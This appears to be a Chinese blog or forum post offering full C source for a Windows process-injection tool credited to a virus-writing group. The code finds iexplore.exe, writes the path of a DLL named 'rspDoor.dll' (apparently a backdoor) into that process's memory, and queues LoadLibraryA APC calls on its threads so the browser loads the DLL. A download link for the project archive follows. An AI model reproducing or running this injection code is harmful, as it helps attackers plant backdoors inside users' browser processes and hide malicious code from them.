QueueUserApc实现DLL注入的测试

#include "stdafx.h"
#define _WIN32_WINNT 0x0400
#define WIN32_LEAN_AND_MEAN // 从 Windows 头中排除极少使用的资料
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <Tlhelp32.h>
#include <winbase.h>
#pragma comment ( lib, "ws2_32.lib")

//
// coded by robinh00d[VX Z0NE]
// Email:robinh00d_at_qq_dot_com
// 向指定进程的线程里插入APC实现DLL注入
//思路来自PJF的老文
//
//typedef HANDLE (*OPENTHREAD) (DWORD dwFlag, BOOL bUnknow, DWORD dwThreadId);
typedef HANDLE (__stdcall *OPENTHREAD) (DWORD dwFlag, BOOL bUnknow, DWORD dwThreadId);
typedef struct _TIDLIST
{
DWORD dwTid ;
_TIDLIST *pNext ;
}TIDLIST;

DWORD EnumThread(HANDLE hProcess, TIDLIST *pThreadIdList)
{

TIDLIST *pCurrentTid = pThreadIdList ;

const char szInjectModName[] = "C:\\rspDoor.dll" ;
DWORD dwLen = strlen(szInjectModName) ;

PVOID param = VirtualAllocEx(hProcess, \
NULL, dwLen, MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE) ;

if (param != NULL)
{
DWORD dwRet ;
if (WriteProcessMemory(hProcess, param, (LPVOID)szInjectModName, dwLen, &dwRet))
{

while (pCurrentTid)
{

HMODULE hDll = ::LoadLibrary("Kernel32.dll");
OPENTHREAD lpfnOpenThread = (OPENTHREAD)::GetProcAddress(hDll, "OpenThread");
HANDLE hThread = lpfnOpenThread(THREAD_ALL_ACCESS, FALSE, pCurrentTid->dwTid);

if (hThread != NULL)
{
//
// 注入DLL到指定进程
//

QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (unsigned long)param);
}

printf("TID:%d\n", pCurrentTid->dwTid) ;
pCurrentTid = pCurrentTid->pNext ;
}
}
}
return 0 ;
}
//////////////////////////////////////////
//////////////////////////////////////////////////
DWORD GetProcID(const char *szProcessName)
{
PROCESSENTRY32 pe32 = {0} ;
pe32.dwSize = sizeof(PROCESSENTRY32);

HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) ;

if (hSnapshot == INVALID_HANDLE_VALUE)
{
return 0xFFFFFFFF ;
}

if (!Process32First(hSnapshot, &pe32))
{
return 0xFFFFFFFF ;
}

do
{
if (!_strnicmp(szProcessName, pe32.szExeFile, strlen(szProcessName)))
{
printf("%s的PID是:%d\n", pe32.szExeFile, pe32.th32ProcessID);
return pe32.th32ProcessID ;
}
} while(Process32Next(hSnapshot, &pe32));

return 0xFFFFFFFF ;

}
////////////////////////////////////
///////////////////////////////////////////////////////////
TIDLIST* InsertTid(TIDLIST *pdwTidListHead, DWORD dwTid)
{
TIDLIST *pCurrent = NULL ;
TIDLIST *pNewMember = NULL ;

if (pdwTidListHead == NULL)
{
return NULL ;
}
pCurrent = pdwTidListHead ;

while (pCurrent != NULL)
{

if (pCurrent->pNext == NULL)
{
//
// 定位到链表最后一个元素
//
pNewMember = (TIDLIST *)malloc(sizeof(TIDLIST)) ;

if (pNewMember != NULL)
{
pNewMember->dwTid = dwTid ;
pNewMember->pNext = NULL ;
pCurrent->pNext = pNewMember ;
return pNewMember ;
}
else
{
return NULL ;
}
}
pCurrent = pCurrent->pNext ;
}

return NULL ;
}

int EnumThreadID(DWORD dwPID, TIDLIST *pdwTidList)
{
int i = 0 ;

THREADENTRY32 te32 = {0} ;
te32.dwSize= sizeof(THREADENTRY32) ;

HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,dwPID) ;

if(hSnapshot != INVALID_HANDLE_VALUE)
{
if(Thread32First(hSnapshot,&te32))
{
do
{
if(te32.th32OwnerProcessID==dwPID)
{
if (pdwTidList->dwTid == 0)
{
pdwTidList->dwTid = te32.th32ThreadID ;
}
else
{
if (NULL == InsertTid(pdwTidList, te32.th32ThreadID))
{
printf("插入失败!\n") ;
return 0 ;
}
}

}
}while(Thread32Next(hSnapshot,&te32));
}
}
return 1 ;
}

int main(int argc, char* argv[])
{
TIDLIST *pTidHead = (TIDLIST *)malloc(sizeof(TIDLIST)) ;

if (pTidHead == NULL)
{
return 1 ;
}
RtlZeroMemory(pTidHead, sizeof(TIDLIST)) ;

DWORD dwPID = 0 ;

if ((dwPID = GetProcID("iexplore.exe")) == 0xFFFFFFFF)
{
printf("进程ID获取失败!\n") ;
return 1 ;
}

//
// 枚举线程ID
//
EnumThreadID(dwPID, pTidHead) ;

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID) ;

if (hProcess == NULL)
{
return 1 ;
}
EnumThread(hProcess, pTidHead) ;

return 0;
}
/Files/tt_mc/QUAinsert.rar